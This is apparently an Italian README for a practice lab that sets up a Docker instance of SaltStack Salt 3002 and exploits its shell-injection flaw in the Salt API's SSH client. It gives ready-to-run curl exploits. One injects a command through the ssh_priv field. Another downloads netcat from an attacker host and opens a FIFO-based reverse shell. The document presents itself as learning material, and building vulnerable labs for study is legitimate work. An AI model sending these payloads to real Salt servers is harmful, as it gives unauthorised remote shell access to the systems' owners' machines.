
Spiegazione della vulnerabilità: È stato scoperto un problema in SaltStack Salt fino alla versione 3002. L'invio di richieste web appositamente create all'API Salt, con il client SSH abilitato, può comportare un'iniezione di shell. I dettagli su questa vulnerabilità possono essere trovati qui:
Per scopi di pratica e apprendimento, ho deciso di creare un'istanza vulnerabile e sfruttarla.
Versione vulnerabile: https://github.com/saltstack/salt/releases/tag/v3002
Testato su Ubuntu 20.04.03
Usa il Dockerfile per creare un'istanza vulnerabile in Docker.
Esegui salt_setup.sh se vuoi creare un'istanza vulnerabile su una VM ubuntu.
docker build -t salt-image .
Esegui il container ed esponi le porte (in realtà solo la 8080 è necessaria per poterla sfruttare)
docker run -p4506:4506 -p4505:4505 -p8000:8000 -it salt-image:latest

curl -i $salt_ip_addr:$salt_api_port/run -H "Content-type: application/json" -d '{"client":"ssh","tgt":"A","fun":"B","eauth":"C","ssh_priv":"|id>/tmp/test #"}'

Reverse shell
root@kali:~# curl -i $salt_ip_addr:$salt_api_port/run -H "Content-type: application/json" -d '{"client":"ssh","tgt":"A","fun":"B","eauth":"C","ssh_priv":"| /usr/bin/wget http://$attacker_ip/nc -O /root/nc; chmod +x /root/nc; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|/root/nc $attacker_ip $listener_port >/tmp/f #"}'
